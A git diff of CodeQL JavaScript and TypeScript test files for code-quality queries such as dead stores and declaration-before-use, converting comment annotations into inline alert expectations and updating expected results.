diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/DeadStoreOfLocal.expected b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/DeadStoreOfLocal.expected
index 88b5fc55b25c..8d5b7af35dab 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/DeadStoreOfLocal.expected
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/DeadStoreOfLocal.expected
@@ -1,13 +1,13 @@
 | overload.ts:10:12:10:14 | baz | The value assigned to baz here is unused. |
-| tst2.js:26:9:26:14 | x = 23 | The initial value of x is unused, since it is always overwritten. |
-| tst2.js:28:9:28:14 | x = 42 | The value assigned to x here is unused. |
-| tst3.js:2:1:2:36 | exports ... a: 23 } | The value assigned to exports here is unused. |
-| tst3b.js:2:18:2:36 | exports = { a: 23 } | The value assigned to exports here is unused. |
-| tst.js:6:2:6:7 | y = 23 | The value assigned to y here is unused. |
-| tst.js:13:6:13:11 | a = 23 | The initial value of a is unused, since it is always overwritten. |
-| tst.js:13:14:13:19 | a = 42 | The value assigned to a here is unused. |
-| tst.js:45:6:45:11 | x = 23 | The initial value of x is unused, since it is always overwritten. |
-| tst.js:51:6:51:11 | x = 23 | The initial value of x is unused, since it is always overwritten. |
-| tst.js:132:7:132:13 | {x} = o | The initial value of x is unused, since it is always overwritten. |
-| tst.js:162:6:162:14 | [x] = [0] | The initial value of x is unused, since it is always overwritten. |
-| tst.js:172:7:172:17 | nSign = foo | The value assigned to nSign here is unused. |
+| tst2.js:25:9:25:14 | x = 23 | The initial value of x is unused, since it is always overwritten. |
+| tst2.js:27:9:27:14 | x = 42 | The value assigned to x here is unused. |
+| tst3.js:1:1:1:36 | exports ... a: 23 } | The value assigned to exports here is unused. |
+| tst3b.js:1:18:1:36 | exports = { a: 23 } | The value assigned to exports here is unused. |
+| tst.js:5:2:5:7 | y = 23 | The value assigned to y here is unused. |
+| tst.js:11:6:11:11 | a = 23 | The initial value of a is unused, since it is always overwritten. |
+| tst.js:11:14:11:19 | a = 42 | The value assigned to a here is unused. |
+| tst.js:43:6:43:11 | x = 23 | The initial value of x is unused, since it is always overwritten. |
+| tst.js:49:6:49:11 | x = 23 | The initial value of x is unused, since it is always overwritten. |
+| tst.js:130:7:130:13 | {x} = o | The initial value of x is unused, since it is always overwritten. |
+| tst.js:160:6:160:14 | [x] = [0] | The initial value of x is unused, since it is always overwritten. |
+| tst.js:170:7:170:17 | nSign = foo | The value assigned to nSign here is unused. |
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/DeadStoreOfLocal.qlref b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/DeadStoreOfLocal.qlref
index eb773fe0490a..9c9da7e09a35 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/DeadStoreOfLocal.qlref
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/DeadStoreOfLocal.qlref
@@ -1 +1,2 @@
-Declarations/DeadStoreOfLocal.ql
\ No newline at end of file
+query: Declarations/DeadStoreOfLocal.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/computedFieldNames.ts b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/computedFieldNames.ts
index c97993c88a51..3dfc6b0e2e54 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/computedFieldNames.ts
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/computedFieldNames.ts
@@ -1,11 +1,11 @@
 import dummy from 'dummy';
 
-var key1 = "key1"; // OK
+var key1 = "key1";
 export class NoConstructor {
   [key1] = 4;
 }
 
-var key2 = "key2"; // OK
+var key2 = "key2";
 export class WithConstructor {
   [key2] = 4;
 
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/computedInterfaceProperty.ts b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/computedInterfaceProperty.ts
index 90199399794d..2f93aba1b9c7 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/computedInterfaceProperty.ts
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/computedInterfaceProperty.ts
@@ -1,16 +1,16 @@
-import { Foo } from "./exportSymbol" // OK
+import { Foo } from "./exportSymbol"
 
 export interface FooMap {
-  [Foo]: number; // OK
+  [Foo]: number;
 }
 
-const Bar = "Bar"; // OK
+const Bar = "Bar";
 
 export interface BarMap {
   [Bar]: number;
 }
 
-const Baz = "Baz"; // OK
+const Baz = "Baz";
 
 if (false) {
   Baz;
@@ -18,7 +18,7 @@ if (false) {
 
 function getBaz(): typeof Baz { return null; }
 
-class C {} // OK
+class C {}
 
 if (false) {
   C;
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/exportDefaultClass.ts b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/exportDefaultClass.ts
index 6481a749c40c..007bf441d6df 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/exportDefaultClass.ts
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/exportDefaultClass.ts
@@ -1,5 +1,5 @@
-var C1 = global.C1; // OK
-var C2 = global.C2; // OK
+var C1 = global.C1;
+var C2 = global.C2;
 
 class C extends C1 {}
 export default class extends C2 {}
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/exportDefaultFunction.ts b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/exportDefaultFunction.ts
index 5c6b48f8796c..c8dba3d68896 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/exportDefaultFunction.ts
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/exportDefaultFunction.ts
@@ -1,3 +1,3 @@
-var C1 = global.C1; // OK
+var C1 = global.C1;
 
 export default function(x=C1) {}
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/extends.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/extends.js
index eab95b4787f6..68b79aac8e68 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/extends.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/extends.js
@@ -1,4 +1,4 @@
-const React = require('react'); // OK: used in `extends` clause below
+const React = require('react'); // OK - used in `extends` clause below
 
 class Foo extends React.Component {
 }
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/for-of-continue.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/for-of-continue.js
index da26a3557ade..8e923b565ee2 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/for-of-continue.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/for-of-continue.js
@@ -2,7 +2,7 @@ function f() {
   let y = false;
   for (const x of [1, 2, 3]) {
     if (x > 0) {
-        y = true; // OK
+        y = true;
         continue;
     }
     return;
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/namespace.ts b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/namespace.ts
index 4335cd3880aa..3d00634499f8 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/namespace.ts
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/namespace.ts
@@ -9,5 +9,5 @@ namespace a.b.q {
 
   registerSomething(c);
 
-  function foo() {} // OK
+  function foo() {}
 }
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/overload.ts b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/overload.ts
index d2be60c12874..255c80093466 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/overload.ts
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/overload.ts
@@ -1,13 +1,13 @@
 export function foo() {
-  function bar(x: number): number; // OK
-  function bar(x: string): string; // OK
-  function bar(x: any) { // OK
+  function bar(x: number): number;
+  function bar(x: string): string;
+  function bar(x: any) {
     return x;
   }
   
-  function baz(x: number): number; // OK
-  function baz(x: string): string; // OK
-  function baz(x: any) { // NOT OK, overwritten before use
+  function baz(x: number): number;
+  function baz(x: string): string;
+  function baz(x: any) { // $ Alert - overwritten before use
     return x;
   }
   baz = (x) => x;
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst.js
index f19b1656da23..31d321711cfa 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst.js
@@ -1,17 +1,15 @@
 function f() {
-	// OK: initialization to default value
+	// OK - initialization to default value
 	var x = null, y = undefined, z;
 	x = {};
-	// NOT OK
-	y = 23;
+	y = 23; // $ Alert
 	y = 42;
 	for (var p in x)
 		y+p;
-	// OK: assignment to global
+	// OK - assignment to global
 	global = 42;
-	// NOT OK
-	var a = 23; a = 42;
-	// OK: captured variable
+	var a = 23; a = 42; // $ Alert
+	// OK - captured variable
 	var b = 42;
 	return function() {
 		return b%2
@@ -20,14 +18,14 @@ function f() {
 
 function g() {
 	var x;
-	// OK
+
 	x = 23, x += 19;
-	// OK
+
 	var y = 42;
 }
 
 function h() {
-	// OK
+
 	var x = false;
 	try {
 		this.mayThrow();
@@ -37,18 +35,18 @@ function h() {
 }
 
 function k(data) {
-	// OK
+
 	for(var i=0;i<data.length;i++);
 }
 
 function l() {
-	var x = 23;
+	var x = 23; // $ Alert
 	x = 42;
 	return x;
 }
 
 function m() {
-	var x = 23, y;
+	var x = 23, y; // $ Alert
 	x = 42, y = x+14;
 	return x+y;
 }
@@ -62,7 +60,7 @@ function p() {
 	var i;
 	for (i=0; i < 10; ++i) {
 		if (Math.random() > .5)
-			// OK
+
 			i = 23;
 	}
 }
@@ -87,11 +85,11 @@ function s() {
     var container = document.createElement("div"),
         div = document.createElement("div");
     doStuffWith(container, div);
-    // OK
+
     container = div = null;
 }
 
-// OK: the function expression could be made anonymous, but it's not
+// OK - the function expression could be made anonymous, but it's not
 // worth flagging this as a violation
 defineGetter(req, 'subdomains', function subdomains() {
     var hostname = this.hostname;
@@ -103,7 +101,7 @@ defineGetter(req, 'subdomains', function subdomains() {
     return subdomains.slice(offset);
 });
 
-// OK: assigning default values
+// OK - assigning default values
 function t() {
   var x;
   x = false;
@@ -112,7 +110,7 @@ function t() {
   x = 42; return x;
 }
 
-// OK: unnecessary initialisation as type hint
+// OK - unnecessary initialisation as type hint
 function u() {
   var x;
   x = [];
@@ -120,7 +118,7 @@ function u() {
   x = 42; return x;
 }
 
-// OK: assigning `undefined`
+// OK - assigning `undefined`
 function v() {
   var x;
   x = void 0;
@@ -129,12 +127,12 @@ function v() {
 }
 
 !function(o) {
-  var {x} = o;
+  var {x} = o; // $ Alert
   x = 42;
   return x;
 }
 
-// OK: assignments in dead code not flagged
+// OK - assignments in dead code not flagged
 !function() {
   return;
   var x;
@@ -159,7 +157,7 @@ function v() {
 });
 
 (function() {
-	let [x] = [0], // OK, but flagged due to destructuring limitations
+	let [x] = [0], // $ SPURIOUS: Alert - flagged due to destructuring limitations
 	    y = 0;
 	x = 42;
 	y = 87;
@@ -169,7 +167,7 @@ function v() {
 
 (function() {
 	if (something()) {
-		var nSign = foo;
+		var nSign = foo; // $ Alert
 	} else {
 		console.log(nSign);
 	}
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst2.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst2.js
index 55cff458fca5..542e9ac06c35 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst2.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst2.js
@@ -1,5 +1,5 @@
 function outer(b) {
-    // OK
+
     let addSubdomain = false;
 
     if (x) {
@@ -16,15 +16,14 @@ function outer(b) {
 }
 
 function f(event) {
-    // OK
+
     var message = event.data;
     eme.init().then(() => NativeInfo.processApp('install', message.id));
 }
 
 function g() {
-    // NOT OK
-    let x = 23;
+    let x = 23; // $ Alert
     {
-        x = 42;
+        x = 42; // $ Alert
     }
 }
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst3.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst3.js
index 91a09ed03d7d..396ba397e55f 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst3.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst3.js
@@ -1,2 +1 @@
-// NOT OK
-exports = module.exports = { a: 23 };
+exports = module.exports = { a: 23 }; // $ Alert
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst3b.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst3b.js
index ca9ae499600f..918b117bf273 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst3b.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfLocal/tst3b.js
@@ -1,2 +1 @@
-// NOT OK
-module.exports = exports = { a: 23 };
+module.exports = exports = { a: 23 }; // $ Alert
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/DeadStoreOfProperty.qlref b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/DeadStoreOfProperty.qlref
index 448709b9054f..935b07264eb8 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/DeadStoreOfProperty.qlref
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/DeadStoreOfProperty.qlref
@@ -1 +1,2 @@
-Declarations/DeadStoreOfProperty.ql
\ No newline at end of file
+query: Declarations/DeadStoreOfProperty.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/accessors.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/accessors.js
index 43db65532a09..784cb1ffc328 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/accessors.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/accessors.js
@@ -1,7 +1,7 @@
 class C {
-  static get foo() {} // OK
-  static set foo(v) {} // OK
+  static get foo() {}
+  static set foo(v) {}
   
-  get bar() {} // OK
-  set bar(v) {} // OK
+  get bar() {}
+  set bar(v) {}
 }
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/exports.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/exports.js
index c4b70604781d..3bd03c882ef8 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/exports.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/exports.js
@@ -1,3 +1,3 @@
 var exports = module.exports;
-exports.answer = "yes"; // NOT OK
+exports.answer = "yes"; // $ Alert
 exports.answer = "no";
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/fieldInit.ts b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/fieldInit.ts
index a2b922684dda..8be98d94dd00 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/fieldInit.ts
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/fieldInit.ts
@@ -1,5 +1,5 @@
 class C {
-  f; // OK
+  f;
   
   constructor() {
     this.f = 5;
@@ -7,7 +7,7 @@ class C {
 }
 
 class D {
-  f = 4; // NOT OK
+  f = 4; // $ Alert
   
   constructor() {
     this.f = 5;
@@ -15,7 +15,7 @@ class D {
 }
 
 class G {
-  constructor(public h: string) { // NOT OK
+  constructor(public h: string) { // $ Alert
     this.h = h;
   }
 }
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/real-world-examples.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/real-world-examples.js
index 282f6bc7f4aa..6edb03fb4a67 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/real-world-examples.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/real-world-examples.js
@@ -2,7 +2,7 @@
 	var o = f1();
 	while (f2()) {
 		if (f4()) {
-			o.p = 42; // NOT OK
+			o.p = 42; // $ Alert
 			break;
 		}
 		f5();
@@ -12,8 +12,8 @@
 
 (function(){
 	var o = f1();
-	o.p1 = o.p1 += 42; // NOT OK
-	o.p2 -= (o.p2 *= 42); // NOT OK
+	o.p1 = o.p1 += 42; // $ Alert
+	o.p2 -= (o.p2 *= 42); // $ Alert
 });
 
 (function(){
@@ -26,7 +26,7 @@
 				f3();
 			} catch (e) {
 				f4();
-				o.p = 42; // NOT OK
+				o.p = 42; // $ Alert
 			}
 		}
 		o.p = 42;
@@ -35,5 +35,5 @@
 
 (function(){
 	var o = f1();
-	o.p = f2() ? o.p = f3() : f4(); // NOT OK
+	o.p = f2() ? o.p = f3() : f4(); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/tst.js b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/tst.js
index 39db5056b77b..0c82a9884b44 100644
--- a/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/DeadStoreOfProperty/tst.js
@@ -1,26 +1,26 @@
 (function(){
     var o = {};
-    o.pure1 = 42; // NOT OK
+    o.pure1 = 42; // $ Alert
     o.pure1 = 42;
 
-    o.pure2 = 42; // NOT OK
+    o.pure2 = 42; // $ Alert
     o.pure2 = 43;
 
     o.impure3 = 42;
     f();
     o.impure3 = 42;
 
-    o.pure4 = 42; // NOT OK
+    o.pure4 = 42; // $ Alert
     43;
     o.pure4 = 42;
 
     o.impure5 = 42;
     o.impure5 = f();
 
-    o.pure6 = f(); // NOT OK
+    o.pure6 = f(); // $ Alert
     o.pure6 = 42;
 
-    o.pure7 = 42; // NOT OK
+    o.pure7 = 42; // $ Alert
     if(x){}
     o.pure7 = 42;
 
@@ -73,7 +73,7 @@
     o15.pure15_aliasWrite = 42;
 
     var o16 = x? o: null;
-    o.pure16_simpleAliasWrite = 42; // NOT OK
+    o.pure16_simpleAliasWrite = 42; // $ Alert
     o16.pure16_simpleAliasWrite = 42;
 
     var o17 = {
@@ -82,57 +82,57 @@
     }
 
     // DOM
-    o.clientTop = 42; // OK
+    o.clientTop = 42;
     o.clientTop = 42;
 
-    o.defaulted1 = null; // OK
+    o.defaulted1 = null;
     o.defaulted1 = 42;
 
-    o.defaulted2 = -1; // OK
+    o.defaulted2 = -1;
     o.defaulted2 = 42;
 
     var o = {};
-    o.pure18 = 42; // NOT OK
-    o.pure18 = 42; // NOT OK
+    o.pure18 = 42; // $ Alert
+    o.pure18 = 42; // $ Alert
     o.pure18 = 42;
 
 	var o = {};
-	Object.defineProperty(o, "setter", { // OK
+	Object.defineProperty(o, "setter", {
 		set: function (value) { }
 	});
 	o.setter = "";
 
-	var o = { set setter(value) { } }; // OK
+	var o = { set setter(value) { } };
 	o.setter = "";
 
 	var o = {
-		set accessor(value) { }, // OK
+		set accessor(value) { },
 		get accessor() { }
 	};
 
 	var o = { set setter(value) { } };
-	o.setter = 42; // probably OK, but still flagged - it seems fishy
+	o.setter = 42; // $ Alert - probably OK, but still flagged - it seems fishy
 	o.setter = 87;
 
 	var o = {};
-	Object.defineProperty(o, "prop", {writable:!0,configurable:!0,enumerable:!1, value: getInitialValue()}) // NOT OK
+	Object.defineProperty(o, "prop", {writable:!0,configurable:!0,enumerable:!1, value: getInitialValue()}) // $ Alert
 	o.prop = 42;
 
 	var o = {};
-	Object.defineProperty(o, "prop", {writable:!0,configurable:!0,enumerable:!1, value: undefined}) // OK, default value
+	Object.defineProperty(o, "prop", {writable:!0,configurable:!0,enumerable:!1, value: undefined}) // OK - default value
 	o.prop = 42;
 
 	var o = {};
-	Object.defineProperty(o, "prop", {writable:!0,configurable:!0,enumerable:!1}) // OK
+	Object.defineProperty(o, "prop", {writable:!0,configurable:!0,enumerable:!1})
     o.prop = 42;
     
     var o = {};
-    o.pure19 = 42; // OK
+    o.pure19 = 42;
     o.some_other_property = 42;
     o.pure19 = 42;
 
     var o = {};
-    o.pure20 = 42; // OK
+    o.pure20 = 42;
     some_other_obj.some_other_property = 42;
     o.pure20 = 42;
 });
diff --git a/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/DeclBeforeUse.qlref b/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/DeclBeforeUse.qlref
index a017c3bc5aad..cff8cc1360ff 100644
--- a/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/DeclBeforeUse.qlref
+++ b/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/DeclBeforeUse.qlref
@@ -1 +1,2 @@
-Declarations/DeclBeforeUse.ql
+query: Declarations/DeclBeforeUse.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/jslint.js b/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/jslint.js
index bdb76a070b7d..29eb66403511 100644
--- a/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/jslint.js
+++ b/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/jslint.js
@@ -1,8 +1,8 @@
 /*global w, x:true*/
 /* global y*/  // not a proper JSLint global declaration, but we (and JSHint) accept it anyway
 /*global: z*/  // also not a proper global declaration
-w; // OK
-x; // OK
-y; // not OK
-z; // not OK
+w;
+x;
+y;
+z; // $ Alert
 var x, y, z;
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/tst2.js b/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/tst2.js
index 2fb118b1541e..2808e89550f5 100644
--- a/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/tst2.js
+++ b/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/tst2.js
@@ -1,11 +1,11 @@
 function f(x) {
-  console.log(x); // OK
+  console.log(x);
 }
 
-console.log(x); // NOT OK
+console.log(x); // $ Alert
 var x = 1;
 
 function g() {
-  console.log(y); // OK (not in same function)
+  console.log(y); // OK - not in same function
 }
 var y = 1;
diff --git a/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/typescript.ts b/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/typescript.ts
index 0de18d48a482..f949cd26fc76 100644
--- a/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/typescript.ts
+++ b/javascript/ql/test/query-tests/Declarations/DeclBeforeUse/typescript.ts
@@ -1,7 +1,7 @@
-@Component(Foo) // OK
+@Component(Foo)
 class Foo {}
 
-declare class Bar extends Baz {} // OK
+declare class Bar extends Baz {}
 declare class Baz {}
 
 export type { I }; // OK - does not refer to the constant 'I'
diff --git a/javascript/ql/test/query-tests/Declarations/DefaultArgumentReferencesNestedFunction/DefaultArgumentReferencesNestedFunction.qlref b/javascript/ql/test/query-tests/Declarations/DefaultArgumentReferencesNestedFunction/DefaultArgumentReferencesNestedFunction.qlref
index da8c0e499f5f..25a417d4cc8c 100644
--- a/javascript/ql/test/query-tests/Declarations/DefaultArgumentReferencesNestedFunction/DefaultArgumentReferencesNestedFunction.qlref
+++ b/javascript/ql/test/query-tests/Declarations/DefaultArgumentReferencesNestedFunction/DefaultArgumentReferencesNestedFunction.qlref
@@ -1 +1,2 @@
-Declarations/DefaultArgumentReferencesNestedFunction.ql
\ No newline at end of file
+query: Declarations/DefaultArgumentReferencesNestedFunction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/DefaultArgumentReferencesNestedFunction/tst.js b/javascript/ql/test/query-tests/Declarations/DefaultArgumentReferencesNestedFunction/tst.js
index 4696ab7b54c3..652af0051b51 100644
--- a/javascript/ql/test/query-tests/Declarations/DefaultArgumentReferencesNestedFunction/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/DefaultArgumentReferencesNestedFunction/tst.js
@@ -1,4 +1,4 @@
-function f(x, y = defaultVal(x)) {
+function f(x, y = defaultVal(x)) { // $ Alert
     function defaultVal(x) {
         return x+19;
     }
diff --git a/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/DuplicateVarDecl.expected b/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/DuplicateVarDecl.expected
index 60d8f7f619e3..26ac43a1dfa2 100644
--- a/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/DuplicateVarDecl.expected
+++ b/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/DuplicateVarDecl.expected
@@ -1 +1 @@
-| tst.js:2:11:2:16 | a = 42 | Variable a has already $@. | tst.js:2:5:2:5 | a | been previously declared |
+| tst.js:1:11:1:16 | a = 42 | Variable a has already $@. | tst.js:1:5:1:5 | a | been previously declared |
diff --git a/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/DuplicateVarDecl.qlref b/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/DuplicateVarDecl.qlref
index f3b921510036..464ae67871c4 100644
--- a/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/DuplicateVarDecl.qlref
+++ b/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/DuplicateVarDecl.qlref
@@ -1 +1,2 @@
-Declarations/DuplicateVarDecl.ql
\ No newline at end of file
+query: Declarations/DuplicateVarDecl.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/tst.js b/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/tst.js
index 5014f7d5dbf3..0b5ef32b81a7 100644
--- a/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/DuplicateVarDecl/tst.js
@@ -1,7 +1,6 @@
-// NOT OK
-var a, b, a = 42;
+var a, b, a = 42; // $ Alert
+
 
-// OK
 var x;
 var y;
 var x;
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/IneffectiveParameterType.qlref b/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/IneffectiveParameterType.qlref
index 6c8915bdd08c..33e0ddb6ffe1 100644
--- a/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/IneffectiveParameterType.qlref
+++ b/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/IneffectiveParameterType.qlref
@@ -1 +1,2 @@
-Declarations/IneffectiveParameterType.ql
+query: Declarations/IneffectiveParameterType.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/tst.js b/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/tst.js
index 8ace9c1472ab..96cb2578e3d2 100644
--- a/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/tst.js
+++ b/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/tst.js
@@ -1 +1 @@
-function getStuff(number) {} // OK: don't report anything related type annotations in .js files
+function getStuff(number) {} // OK - don't report anything related type annotations in .js files
diff --git a/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/tst.ts b/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/tst.ts
index 5aadd17c4d58..a9713de9685e 100644
--- a/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/tst.ts
+++ b/javascript/ql/test/query-tests/Declarations/IneffectiveParameterType/tst.ts
@@ -1,36 +1,36 @@
 import { MyType, x } from 'somewhere';
 
-function join<T>(items: T[], callback: (T) => string) { // NOT OK: (T) should be (x:T)
+function join<T>(items: T[], callback: (T) => string) { // $ Alert - (T) should be (x:T)
   return items.map(callback).join(", ")
 }
 
-var box : <T>(T) => T[] = (x) => [x]; // NOT OK: (T) should be (x:T)
+var box : <T>(T) => T[] = (x) => [x]; // $ Alert - (T) should be (x:T)
 
 interface EventEmitter<T> {
-  addListener(listener: (T) => void): void; // NOT OK: (T) should be (x:T)
-  forwardFrom<S>(other: EventEmitter<S>, converter: (S) => T); // NOT OK: (S) should be (x:S)
+  addListener(listener: (T) => void): void; // $ Alert - (T) should be (x:T)
+  forwardFrom<S>(other: EventEmitter<S>, converter: (S) => T); // $ Alert - (S) should be (x:S)
 }
 
 interface NumberFormatter {
-  format(number): string;  // NOT OK: (number) should be (x:number)
-  (number): string; // NOT OK: (number) should be (x:number)
+  format(number): string;  // $ Alert - (number) should be (x:number)
+  (number): string; // $ Alert - (number) should be (x:number)
 }
 
-type TextFormatter = (NumberFormatter) => string; // NOT OK: (NumberFormatter) should be (x:NumberFormatter)
+type TextFormatter = (NumberFormatter) => string; // $ Alert - (NumberFormatter) should be (x:NumberFormatter)
 
 var myGlobal : MyType;
-var myCallback: (MyType) => void; // NOT OK: (MyType) should be (x:MyType)
+var myCallback: (MyType) => void; // $ Alert - (MyType) should be (x:MyType)
 
-var myOtherCallback : (x) => void; // OK: nothing indicates that 'x' is a type name.
+var myOtherCallback : (x) => void; // OK - nothing indicates that 'x' is a type name.
 
 interface Repeated { x: number; }
 interface Repeated { y: number; }
 interface Repeated { z: number; }
 
-type Callback = (Repeated) => void; // NOT OK: but should only be reported once
+type Callback = (Repeated) => void; // $ Alert - but should only be reported once
 
 class C {
-  getName(string) { // OK: parameter name is not part of signature
+  getName(string) { // OK - parameter name is not part of signature
     return null;
   }
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/MissingThisQualifier.expected b/javascript/ql/test/query-tests/Declarations/MissingThisQualifier/MissingThisQualifier.expected
